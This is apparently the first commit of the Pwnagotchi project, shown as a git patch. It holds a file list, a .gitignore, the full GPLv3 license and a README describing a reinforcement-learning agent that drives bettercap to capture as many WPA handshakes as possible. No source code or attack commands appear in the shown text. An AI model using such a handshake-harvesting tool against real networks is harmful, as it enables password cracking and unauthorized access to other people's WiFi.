From 0fdc2b6d9f58b498d947f8b4866b3df17147f8c5 Mon Sep 17 00:00:00 2001 From: evilsocket Date: Thu, 19 Sep 2019 15:15:46 +0200 Subject: [PATCH] hello world --- .gitignore | 6 + LICENSE.md | 596 ++++++++ README.md | 14 + sdcard/boot/cmdline.txt | 1 + sdcard/boot/config.txt | 1197 +++++++++++++++++ sdcard/boot/ssh | 0 sdcard/rootfs/etc/hostname | 1 + sdcard/rootfs/etc/hosts | 6 + sdcard/rootfs/etc/motd | 1 + sdcard/rootfs/etc/network/interfaces | 14 + sdcard/rootfs/etc/rc.local | 14 + sdcard/rootfs/etc/ssh/sshd_config | 121 ++ sdcard/rootfs/root/pwnagotchi/config.yml | 139 ++ .../pwnagotchi/data/images/face_happy.bmp | Bin 0 -> 11398 bytes .../rootfs/root/pwnagotchi/data/screenrc.auto | 48 + .../root/pwnagotchi/data/screenrc.manual | 48 + .../root/pwnagotchi/scripts/.idea/.gitignore | 2 + .../scripts/.idea/dictionaries/evilsocket.xml | 9 + .../inspectionProfiles/profiles_settings.xml | 6 + .../root/pwnagotchi/scripts/.idea/misc.xml | 4 + .../root/pwnagotchi/scripts/.idea/modules.xml | 8 + .../root/pwnagotchi/scripts/.idea/scripts.iml | 11 + .../root/pwnagotchi/scripts/.idea/vcs.xml | 6 + .../pwnagotchi/scripts/bettercap/__init__.py | 0 .../pwnagotchi/scripts/bettercap/client.py | 40 + .../rootfs/root/pwnagotchi/scripts/blink.sh | 12 + .../root/pwnagotchi/scripts/core/__init__.py | 54 + sdcard/rootfs/root/pwnagotchi/scripts/main.py | 131 ++ .../pwnagotchi/scripts/pwnagotchi/__init__.py | 48 + .../pwnagotchi/scripts/pwnagotchi/agent.py | 510 +++++++ .../scripts/pwnagotchi/ai/__init__.py | 42 + .../pwnagotchi/scripts/pwnagotchi/ai/epoch.py | 202 +++ .../scripts/pwnagotchi/ai/featurizer.py | 60 + .../pwnagotchi/scripts/pwnagotchi/ai/gym.py | 151 +++ .../scripts/pwnagotchi/ai/parameter.py | 30 + .../scripts/pwnagotchi/ai/reward.py | 21 + .../pwnagotchi/scripts/pwnagotchi/ai/train.py | 169 +++ .../pwnagotchi/scripts/pwnagotchi/ai/utils.py | 16 + .../root/pwnagotchi/scripts/pwnagotchi/log.py | 167 +++ .../scripts/pwnagotchi/mesh/__init__.py | 14 + .../scripts/pwnagotchi/mesh/advertise.py | 220 +++ .../scripts/pwnagotchi/mesh/peer.py | 66 + .../scripts/pwnagotchi/mesh/wifi.py | 37 + .../scripts/pwnagotchi/ui/__init__.py | 1 + .../scripts/pwnagotchi/ui/components.py | 66 + .../scripts/pwnagotchi/ui/display.py | 123 ++ .../pwnagotchi/scripts/pwnagotchi/ui/faces.py | 17 + .../pwnagotchi/scripts/pwnagotchi/ui/fonts.py | 8 + .../pwnagotchi/scripts/pwnagotchi/ui/state.py | 28 + .../pwnagotchi/scripts/pwnagotchi/ui/view.py | 303 +++++ .../scripts/pwnagotchi/ui/waveshare.py | 338 +++++ .../pwnagotchi/scripts/pwnagotchi/voice.py | 147 ++ .../root/pwnagotchi/scripts/requirements.txt | 9 + .../rootfs/root/pwnagotchi/scripts/startup.sh | 13 + .../rootfs/root/pwnagotchi/scripts/test_nn.py | 176 +++ 55 files changed, 5471 insertions(+) create mode 100644 .gitignore create mode 100644 LICENSE.md create mode 100644 README.md create mode 100755 sdcard/boot/cmdline.txt create mode 100755 sdcard/boot/config.txt create mode 100644 sdcard/boot/ssh create mode 100644 sdcard/rootfs/etc/hostname create mode 100644 sdcard/rootfs/etc/hosts create mode 100644 sdcard/rootfs/etc/motd create mode 100644 sdcard/rootfs/etc/network/interfaces create mode 100755 sdcard/rootfs/etc/rc.local create mode 100644 sdcard/rootfs/etc/ssh/sshd_config create mode 100644 sdcard/rootfs/root/pwnagotchi/config.yml create mode 100644 sdcard/rootfs/root/pwnagotchi/data/images/face_happy.bmp create mode 100644 sdcard/rootfs/root/pwnagotchi/data/screenrc.auto create mode 100644 sdcard/rootfs/root/pwnagotchi/data/screenrc.manual create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/.idea/.gitignore create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/.idea/dictionaries/evilsocket.xml create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/.idea/inspectionProfiles/profiles_settings.xml create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/.idea/misc.xml create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/.idea/modules.xml create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/.idea/scripts.iml create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/.idea/vcs.xml create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/bettercap/__init__.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/bettercap/client.py create mode 100755 sdcard/rootfs/root/pwnagotchi/scripts/blink.sh create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/core/__init__.py create mode 100755 sdcard/rootfs/root/pwnagotchi/scripts/main.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/__init__.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/agent.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/__init__.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/epoch.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/featurizer.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/gym.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/parameter.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/reward.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/train.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ai/utils.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/__init__.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/advertise.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/peer.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/wifi.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/__init__.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/components.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/faces.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/fonts.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/state.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/waveshare.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/voice.py create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/requirements.txt create mode 100755 sdcard/rootfs/root/pwnagotchi/scripts/startup.sh create mode 100755 sdcard/rootfs/root/pwnagotchi/scripts/test_nn.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..22badea --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +*.img +*.pcap +__pycache__ +_backups +_emulation +_utils diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..54c6296 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,596 @@ +GNU GENERAL PUBLIC LICENSE +========================== + +Version 3, 29 June 2007 + +Copyright © 2007 Free Software Foundation, Inc. <> + +Everyone is permitted to copy and distribute verbatim copies of this license +document, but changing it is not allowed. + +## Preamble + +The GNU General Public License is a free, copyleft license for software and other +kinds of works. + +The licenses for most software and other practical works are designed to take away +your freedom to share and change the works. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change all versions of a +program--to make sure it remains free software for all its users. We, the Free +Software Foundation, use the GNU General Public License for most of our software; it +applies also to any other work released this way by its authors. You can apply it to +your programs, too. + +When we speak of free software, we are referring to freedom, not price. Our General +Public Licenses are designed to make sure that you have the freedom to distribute +copies of free software (and charge for them if you wish), that you receive source +code or can get it if you want it, that you can change the software or use pieces of +it in new free programs, and that you know you can do these things. + +To protect your rights, we need to prevent others from denying you these rights or +asking you to surrender the rights. Therefore, you have certain responsibilities if +you distribute copies of the software, or if you modify it: responsibilities to +respect the freedom of others. + +For example, if you distribute copies of such a program, whether gratis or for a fee, +you must pass on to the recipients the same freedoms that you received. You must make +sure that they, too, receive or can get the source code. And you must show them these +terms so they know their rights. + +Developers that use the GNU GPL protect your rights with two steps: (1) assert +copyright on the software, and (2) offer you this License giving you legal permission +to copy, distribute and/or modify it. + +For the developers' and authors' protection, the GPL clearly explains that there is +no warranty for this free software. For both users' and authors' sake, the GPL +requires that modified versions be marked as changed, so that their problems will not +be attributed erroneously to authors of previous versions. + +Some devices are designed to deny users access to install or run modified versions of +the software inside them, although the manufacturer can do so. This is fundamentally +incompatible with the aim of protecting users' freedom to change the software. The +systematic pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we have designed +this version of the GPL to prohibit the practice for those products. If such problems +arise substantially in other domains, we stand ready to extend this provision to +those domains in future versions of the GPL, as needed to protect the freedom of +users. + +Finally, every program is threatened constantly by software patents. States should +not allow patents to restrict development and use of software on general-purpose +computers, but in those that do, we wish to avoid the special danger that patents +applied to a free program could make it effectively proprietary. To prevent this, the +GPL assures that patents cannot be used to render the program non-free. + +The precise terms and conditions for copying, distribution and modification follow. + +## TERMS AND CONDITIONS + +### 0. Definitions. + +“This License” refers to version 3 of the GNU General Public License. + +“Copyright” also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + +“The Program” refers to any copyrightable work licensed under this +License. Each licensee is addressed as “you”. “Licensees” and +“recipients” may be individuals or organizations. + +To “modify” a work means to copy from or adapt all or part of the work in +a fashion requiring copyright permission, other than the making of an exact copy. The +resulting work is called a “modified version” of the earlier work or a +work “based on” the earlier work. + +A “covered work” means either the unmodified Program or a work based on +the Program. + +To “propagate” a work means to do anything with it that, without +permission, would make you directly or secondarily liable for infringement under +applicable copyright law, except executing it on a computer or modifying a private +copy. Propagation includes copying, distribution (with or without modification), +making available to the public, and in some countries other activities as well. + +To “convey” a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through a computer +network, with no transfer of a copy, is not conveying. + +An interactive user interface displays “Appropriate Legal Notices” to the +extent that it includes a convenient and prominently visible feature that (1) +displays an appropriate copyright notice, and (2) tells the user that there is no +warranty for the work (except to the extent that warranties are provided), that +licensees may convey the work under this License, and how to view a copy of this +License. If the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + +### 1. Source Code. + +The “source code” for a work means the preferred form of the work for +making modifications to it. “Object code” means any non-source form of a +work. + +A “Standard Interface” means an interface that either is an official +standard defined by a recognized standards body, or, in the case of interfaces +specified for a particular programming language, one that is widely used among +developers working in that language. + +The “System Libraries” of an executable work include anything, other than +the work as a whole, that (a) is included in the normal form of packaging a Major +Component, but which is not part of that Major Component, and (b) serves only to +enable use of the work with that Major Component, or to implement a Standard +Interface for which an implementation is available to the public in source code form. +A “Major Component”, in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system (if any) on which +the executable work runs, or a compiler used to produce the work, or an object code +interpreter used to run it. + +The “Corresponding Source” for a work in object code form means all the +source code needed to generate, install, and (for an executable work) run the object +code and to modify the work, including scripts to control those activities. However, +it does not include the work's System Libraries, or general-purpose tools or +generally available free programs which are used unmodified in performing those +activities but which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for the work, and +the source code for shared libraries and dynamically linked subprograms that the work +is specifically designed to require, such as by intimate data communication or +control flow between those subprograms and other parts of the work. + +The Corresponding Source need not include anything that users can regenerate +automatically from other parts of the Corresponding Source. + +The Corresponding Source for a work in source code form is that same work. + +### 2. Basic Permissions. + +All rights granted under this License are granted for the term of copyright on the +Program, and are irrevocable provided the stated conditions are met. This License +explicitly affirms your unlimited permission to run the unmodified Program. The +output from running a covered work is covered by this License only if the output, +given its content, constitutes a covered work. This License acknowledges your rights +of fair use or other equivalent, as provided by copyright law. + +You may make, run and propagate covered works that you do not convey, without +conditions so long as your license otherwise remains in force. You may convey covered +works to others for the sole purpose of having them make modifications exclusively +for you, or provide you with facilities for running those works, provided that you +comply with the terms of this License in conveying all material for which you do not +control copyright. Those thus making or running the covered works for you must do so +exclusively on your behalf, under your direction and control, on terms that prohibit +them from making any copies of your copyrighted material outside their relationship +with you. + +Conveying under any other circumstances is permitted solely under the conditions +stated below. Sublicensing is not allowed; section 10 makes it unnecessary. + +### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + +No covered work shall be deemed part of an effective technological measure under any +applicable law fulfilling obligations under article 11 of the WIPO copyright treaty +adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention +of such measures. + +When you convey a covered work, you waive any legal power to forbid circumvention of +technological measures to the extent such circumvention is effected by exercising +rights under this License with respect to the covered work, and you disclaim any +intention to limit operation or modification of the work as a means of enforcing, +against the work's users, your or third parties' legal rights to forbid circumvention +of technological measures. + +### 4. Conveying Verbatim Copies. + +You may convey verbatim copies of the Program's source code as you receive it, in any +medium, provided that you conspicuously and appropriately publish on each copy an +appropriate copyright notice; keep intact all notices stating that this License and +any non-permissive terms added in accord with section 7 apply to the code; keep +intact all notices of the absence of any warranty; and give all recipients a copy of +this License along with the Program. + +You may charge any price or no price for each copy that you convey, and you may offer +support or warranty protection for a fee. + +### 5. Conveying Modified Source Versions. + +You may convey a work based on the Program, or the modifications to produce it from +the Program, in the form of source code under the terms of section 4, provided that +you also meet all of these conditions: + +* **a)** The work must carry prominent notices stating that you modified it, and giving a +relevant date. +* **b)** The work must carry prominent notices stating that it is released under this +License and any conditions added under section 7. This requirement modifies the +requirement in section 4 to “keep intact all notices”. +* **c)** You must license the entire work, as a whole, under this License to anyone who +comes into possession of a copy. This License will therefore apply, along with any +applicable section 7 additional terms, to the whole of the work, and all its parts, +regardless of how they are packaged. This License gives no permission to license the +work in any other way, but it does not invalidate such permission if you have +separately received it. +* **d)** If the work has interactive user interfaces, each must display Appropriate Legal +Notices; however, if the Program has interactive interfaces that do not display +Appropriate Legal Notices, your work need not make them do so. + +A compilation of a covered work with other separate and independent works, which are +not by their nature extensions of the covered work, and which are not combined with +it such as to form a larger program, in or on a volume of a storage or distribution +medium, is called an “aggregate” if the compilation and its resulting +copyright are not used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work in an aggregate +does not cause this License to apply to the other parts of the aggregate. + +### 6. Conveying Non-Source Forms. + +You may convey a covered work in object code form under the terms of sections 4 and +5, provided that you also convey the machine-readable Corresponding Source under the +terms of this License, in one of these ways: + +* **a)** Convey the object code in, or embodied in, a physical product (including a +physical distribution medium), accompanied by the Corresponding Source fixed on a +durable physical medium customarily used for software interchange. +* **b)** Convey the object code in, or embodied in, a physical product (including a +physical distribution medium), accompanied by a written offer, valid for at least +three years and valid for as long as you offer spare parts or customer support for +that product model, to give anyone who possesses the object code either (1) a copy of +the Corresponding Source for all the software in the product that is covered by this +License, on a durable physical medium customarily used for software interchange, for +a price no more than your reasonable cost of physically performing this conveying of +source, or (2) access to copy the Corresponding Source from a network server at no +charge. +* **c)** Convey individual copies of the object code with a copy of the written offer to +provide the Corresponding Source. This alternative is allowed only occasionally and +noncommercially, and only if you received the object code with such an offer, in +accord with subsection 6b. +* **d)** Convey the object code by offering access from a designated place (gratis or for +a charge), and offer equivalent access to the Corresponding Source in the same way +through the same place at no further charge. You need not require recipients to copy +the Corresponding Source along with the object code. If the place to copy the object +code is a network server, the Corresponding Source may be on a different server +(operated by you or a third party) that supports equivalent copying facilities, +provided you maintain clear directions next to the object code saying where to find +the Corresponding Source. Regardless of what server hosts the Corresponding Source, +you remain obligated to ensure that it is available for as long as needed to satisfy +these requirements. +* **e)** Convey the object code using peer-to-peer transmission, provided you inform +other peers where the object code and Corresponding Source of the work are being +offered to the general public at no charge under subsection 6d. + +A separable portion of the object code, whose source code is excluded from the +Corresponding Source as a System Library, need not be included in conveying the +object code work. + +A “User Product” is either (1) a “consumer product”, which +means any tangible personal property which is normally used for personal, family, or +household purposes, or (2) anything designed or sold for incorporation into a +dwelling. In determining whether a product is a consumer product, doubtful cases +shall be resolved in favor of coverage. For a particular product received by a +particular user, “normally used” refers to a typical or common use of +that class of product, regardless of the status of the particular user or of the way +in which the particular user actually uses, or expects or is expected to use, the +product. A product is a consumer product regardless of whether the product has +substantial commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + +“Installation Information” for a User Product means any methods, +procedures, authorization keys, or other information required to install and execute +modified versions of a covered work in that User Product from a modified version of +its Corresponding Source. The information must suffice to ensure that the continued +functioning of the modified object code is in no case prevented or interfered with +solely because modification has been made. + +If you convey an object code work under this section in, or with, or specifically for +use in, a User Product, and the conveying occurs as part of a transaction in which +the right of possession and use of the User Product is transferred to the recipient +in perpetuity or for a fixed term (regardless of how the transaction is +characterized), the Corresponding Source conveyed under this section must be +accompanied by the Installation Information. But this requirement does not apply if +neither you nor any third party retains the ability to install modified object code +on the User Product (for example, the work has been installed in ROM). + +The requirement to provide Installation Information does not include a requirement to +continue to provide support service, warranty, or updates for a work that has been +modified or installed by the recipient, or for the User Product in which it has been +modified or installed. Access to a network may be denied when the modification itself +materially and adversely affects the operation of the network or violates the rules +and protocols for communication across the network. + +Corresponding Source conveyed, and Installation Information provided, in accord with +this section must be in a format that is publicly documented (and with an +implementation available to the public in source code form), and must require no +special password or key for unpacking, reading or copying. + +### 7. Additional Terms. + +“Additional permissions” are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. Additional +permissions that are applicable to the entire Program shall be treated as though they +were included in this License, to the extent that they are valid under applicable +law. If additional permissions apply only to part of the Program, that part may be +used separately under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + +When you convey a copy of a covered work, you may at your option remove any +additional permissions from that copy, or from any part of it. (Additional +permissions may be written to require their own removal in certain cases when you +modify the work.) You may place additional permissions on material, added by you to a +covered work, for which you have or can give appropriate copyright permission. + +Notwithstanding any other provision of this License, for material you add to a +covered work, you may (if authorized by the copyright holders of that material) +supplement the terms of this License with terms: + +* **a)** Disclaiming warranty or limiting liability differently from the terms of +sections 15 and 16 of this License; or +* **b)** Requiring preservation of specified reasonable legal notices or author +attributions in that material or in the Appropriate Legal Notices displayed by works +containing it; or +* **c)** Prohibiting misrepresentation of the origin of that material, or requiring that +modified versions of such material be marked in reasonable ways as different from the +original version; or +* **d)** Limiting the use for publicity purposes of names of licensors or authors of the +material; or +* **e)** Declining to grant rights under trademark law for use of some trade names, +trademarks, or service marks; or +* **f)** Requiring indemnification of licensors and authors of that material by anyone +who conveys the material (or modified versions of it) with contractual assumptions of +liability to the recipient, for any liability that these contractual assumptions +directly impose on those licensors and authors. + +All other non-permissive additional terms are considered “further +restrictions” within the meaning of section 10. If the Program as you received +it, or any part of it, contains a notice stating that it is governed by this License +along with a term that is a further restriction, you may remove that term. If a +license document contains a further restriction but permits relicensing or conveying +under this License, you may add to a covered work material governed by the terms of +that license document, provided that the further restriction does not survive such +relicensing or conveying. + +If you add terms to a covered work in accord with this section, you must place, in +the relevant source files, a statement of the additional terms that apply to those +files, or a notice indicating where to find the applicable terms. + +Additional terms, permissive or non-permissive, may be stated in the form of a +separately written license, or stated as exceptions; the above requirements apply +either way. + +### 8. Termination. + +You may not propagate or modify a covered work except as expressly provided under +this License. Any attempt otherwise to propagate or modify it is void, and will +automatically terminate your rights under this License (including any patent licenses +granted under the third paragraph of section 11). + +However, if you cease all violation of this License, then your license from a +particular copyright holder is reinstated (a) provisionally, unless and until the +copyright holder explicitly and finally terminates your license, and (b) permanently, +if the copyright holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + +Moreover, your license from a particular copyright holder is reinstated permanently +if the copyright holder notifies you of the violation by some reasonable means, this +is the first time you have received notice of violation of this License (for any +work) from that copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + +Termination of your rights under this section does not terminate the licenses of +parties who have received copies or rights from you under this License. If your +rights have been terminated and not permanently reinstated, you do not qualify to +receive new licenses for the same material under section 10. + +### 9. Acceptance Not Required for Having Copies. + +You are not required to accept this License in order to receive or run a copy of the +Program. Ancillary propagation of a covered work occurring solely as a consequence of +using peer-to-peer transmission to receive a copy likewise does not require +acceptance. However, nothing other than this License grants you permission to +propagate or modify any covered work. These actions infringe copyright if you do not +accept this License. Therefore, by modifying or propagating a covered work, you +indicate your acceptance of this License to do so. + +### 10. Automatic Licensing of Downstream Recipients. + +Each time you convey a covered work, the recipient automatically receives a license +from the original licensors, to run, modify and propagate that work, subject to this +License. You are not responsible for enforcing compliance by third parties with this +License. + +An “entity transaction” is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an organization, or +merging organizations. If propagation of a covered work results from an entity +transaction, each party to that transaction who receives a copy of the work also +receives whatever licenses to the work the party's predecessor in interest had or +could give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if the predecessor +has it or can get it with reasonable efforts. + +You may not impose any further restrictions on the exercise of the rights granted or +affirmed under this License. For example, you may not impose a license fee, royalty, +or other charge for exercise of rights granted under this License, and you may not +initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging +that any patent claim is infringed by making, using, selling, offering for sale, or +importing the Program or any portion of it. + +### 11. Patents. + +A “contributor” is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The work thus +licensed is called the contributor's “contributor version”. + +A contributor's “essential patent claims” are all patent claims owned or +controlled by the contributor, whether already acquired or hereafter acquired, that +would be infringed by some manner, permitted by this License, of making, using, or +selling its contributor version, but do not include claims that would be infringed +only as a consequence of further modification of the contributor version. For +purposes of this definition, “control” includes the right to grant patent +sublicenses in a manner consistent with the requirements of this License. + +Each contributor grants you a non-exclusive, worldwide, royalty-free patent license +under the contributor's essential patent claims, to make, use, sell, offer for sale, +import and otherwise run, modify and propagate the contents of its contributor +version. + +In the following three paragraphs, a “patent license” is any express +agreement or commitment, however denominated, not to enforce a patent (such as an +express permission to practice a patent or covenant not to sue for patent +infringement). To “grant” such a patent license to a party means to make +such an agreement or commitment not to enforce a patent against the party. + +If you convey a covered work, knowingly relying on a patent license, and the +Corresponding Source of the work is not available for anyone to copy, free of charge +and under the terms of this License, through a publicly available network server or +other readily accessible means, then you must either (1) cause the Corresponding +Source to be so available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner consistent with +the requirements of this License, to extend the patent license to downstream +recipients. “Knowingly relying” means you have actual knowledge that, but +for the patent license, your conveying the covered work in a country, or your +recipient's use of the covered work in a country, would infringe one or more +identifiable patents in that country that you have reason to believe are valid. + +If, pursuant to or in connection with a single transaction or arrangement, you +convey, or propagate by procuring conveyance of, a covered work, and grant a patent +license to some of the parties receiving the covered work authorizing them to use, +propagate, modify or convey a specific copy of the covered work, then the patent +license you grant is automatically extended to all recipients of the covered work and +works based on it. + +A patent license is “discriminatory” if it does not include within the +scope of its coverage, prohibits the exercise of, or is conditioned on the +non-exercise of one or more of the rights that are specifically granted under this +License. You may not convey a covered work if you are a party to an arrangement with +a third party that is in the business of distributing software, under which you make +payment to the third party based on the extent of your activity of conveying the +work, and under which the third party grants, to any of the parties who would receive +the covered work from you, a discriminatory patent license (a) in connection with +copies of the covered work conveyed by you (or copies made from those copies), or (b) +primarily for and in connection with specific products or compilations that contain +the covered work, unless you entered into that arrangement, or that patent license +was granted, prior to 28 March 2007. + +Nothing in this License shall be construed as excluding or limiting any implied +license or other defenses to infringement that may otherwise be available to you +under applicable patent law. + +### 12. No Surrender of Others' Freedom. + +If conditions are imposed on you (whether by court order, agreement or otherwise) +that contradict the conditions of this License, they do not excuse you from the +conditions of this License. If you cannot convey a covered work so as to satisfy +simultaneously your obligations under this License and any other pertinent +obligations, then as a consequence you may not convey it at all. For example, if you +agree to terms that obligate you to collect a royalty for further conveying from +those to whom you convey the Program, the only way you could satisfy both those terms +and this License would be to refrain entirely from conveying the Program. + +### 13. Use with the GNU Affero General Public License. + +Notwithstanding any other provision of this License, you have permission to link or +combine any covered work with a work licensed under version 3 of the GNU Affero +General Public License into a single combined work, and to convey the resulting work. +The terms of this License will continue to apply to the part which is the covered +work, but the special requirements of the GNU Affero General Public License, section +13, concerning interaction through a network will apply to the combination as such. + +### 14. Revised Versions of this License. + +The Free Software Foundation may publish revised and/or new versions of the GNU +General Public License from time to time. Such new versions will be similar in spirit +to the present version, but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program specifies that +a certain numbered version of the GNU General Public License “or any later +version” applies to it, you have the option of following the terms and +conditions either of that numbered version or of any later version published by the +Free Software Foundation. If the Program does not specify a version number of the GNU +General Public License, you may choose any version ever published by the Free +Software Foundation. + +If the Program specifies that a proxy can decide which future versions of the GNU +General Public License can be used, that proxy's public statement of acceptance of a +version permanently authorizes you to choose that version for the Program. + +Later license versions may give you additional or different permissions. However, no +additional obligations are imposed on any author or copyright holder as a result of +your choosing to follow a later version. + +### 15. Disclaimer of Warranty. + +THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER +EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE +QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE +DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + +### 16. Limitation of Liability. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY +COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS +PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, +INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE +OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE +WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + +### 17. Interpretation of Sections 15 and 16. + +If the disclaimer of warranty and limitation of liability provided above cannot be +given local legal effect according to their terms, reviewing courts shall apply local +law that most closely approximates an absolute waiver of all civil liability in +connection with the Program, unless a warranty or assumption of liability accompanies +a copy of the Program in return for a fee. + +END OF TERMS AND CONDITIONS + +## How to Apply These Terms to Your New Programs + +If you develop a new program, and you want it to be of the greatest possible use to +the public, the best way to achieve this is to make it free software which everyone +can redistribute and change under these terms. + +To do so, attach the following notices to the program. It is safest to attach them +to the start of each source file to most effectively state the exclusion of warranty; +and each file should have at least the “copyright” line and a pointer to +where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + +If the program does terminal interaction, make it output a short notice like this +when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type 'show c' for details. + +The hypothetical commands 'show w' and 'show c' should show the appropriate parts of +the General Public License. Of course, your program's commands might be different; +for a GUI interface, you would use an “about box”. + +You should also get your employer (if you work as a programmer) or school, if any, to +sign a “copyright disclaimer” for the program, if necessary. For more +information on this, and how to apply and follow the GNU GPL, see +<>. + +The GNU General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may consider it +more useful to permit linking proprietary applications with the library. If this is +what you want to do, use the GNU Lesser General Public License instead of this +License. But first, please read +<>. diff --git a/README.md b/README.md new file mode 100644 index 0000000..3c5479a --- /dev/null +++ b/README.md @@ -0,0 +1,14 @@ +# Pwnagotchi + +Pwnagotchi is an "AI" that learns from the WiFi environment and instruments bettercap in order to maximize the number of WPA handshakes captured. Specifically, it's using an [LSTM with MLP feature extractor](https://stable-baselines.readthedocs.io/en/master/modules/policies.html#stable_baselines.common.policies.MlpLstmPolicy) as its policy network for the [A2C agent](https://stable-baselines.readthedocs.io/en/master/modules/a2c.html) + +## Documentation + +** THIS IS STILL ALPHA STAGE SOFTWARE, IF YOU DECIDE TO TRY TO USE IT, YOU ARE ON YOUR OWN, NO SUPPORT WILL BE PROVIDED, NEITHER FOR INSTALLATION OR FOR BUGS ** + +## License + +`pwnagotchi` is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and it's released under the GPL3 license. + + + diff --git 